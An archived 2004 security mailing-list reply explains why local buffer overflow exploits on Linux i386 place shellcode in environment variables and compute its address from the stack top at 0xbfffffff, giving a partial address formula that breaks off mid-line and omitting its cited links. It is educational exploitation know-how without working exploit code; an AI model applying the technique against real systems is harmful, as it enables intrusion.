[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: Buffer Overflows

On Mon, 2004-03-29 at 22:00, luck___@xxxxxxxxxxx wrote:
> Hi hope someone could help me with a question I have. 
> Why do many buffer overflow exploits use the %esp 
> before the program has run as the return address? 

I've read the other replies, but I think they're answering a different
question. If I understand your question correctly, you're asking why the
overflows replace the return address with: 0xbfffffff - some value
instead of pointing it to where the buffer they are overflowing is
located, right ? If I am mistaken, you can ignore the rest of the mail
You can place shellcode anywhere you like, just as long as you can write
to this address and have a way of knowing or guessing the address of
your code so you can jump to it or close to it (when using a nop sled).
I'm assuming the exploits you mention in your mail place their shellcode
in an environment variable instead of in the buffer they are
overflowing. This is more robust as the buffer could be at a different
place in every compiled version while the stack will (barring os 
modifications that randomize or change this) start at 0xbfffffff (Linux,
i386) and will contain 4 nuls, the program name, a null to terminate the
program name and the environment variables (last to first).
So to jump to the beginning of the first environment variable the
following formula can be used to find the address of the shellcode:
address = 0xbfffffff - 4 - length(programname) - 1 -
And the vulnerable program would be executed from the exploit as:
execve(programname, arguments, environment);
Note that this is only useful for local exploits, not remote ones.

For more information see page 38 of my thesis:
See page 66 for an example of an exploit that uses this technique.

Or see the original paper that describes this technique:
Buffer overflows demystified by Murat Balaban:

- YY
They that give up essential liberty to obtain a little temporary safety
deserve neither liberty nor safety.
                - Benjamin Franklin

Attachment: signature.asc
Description: This is a digitally signed message part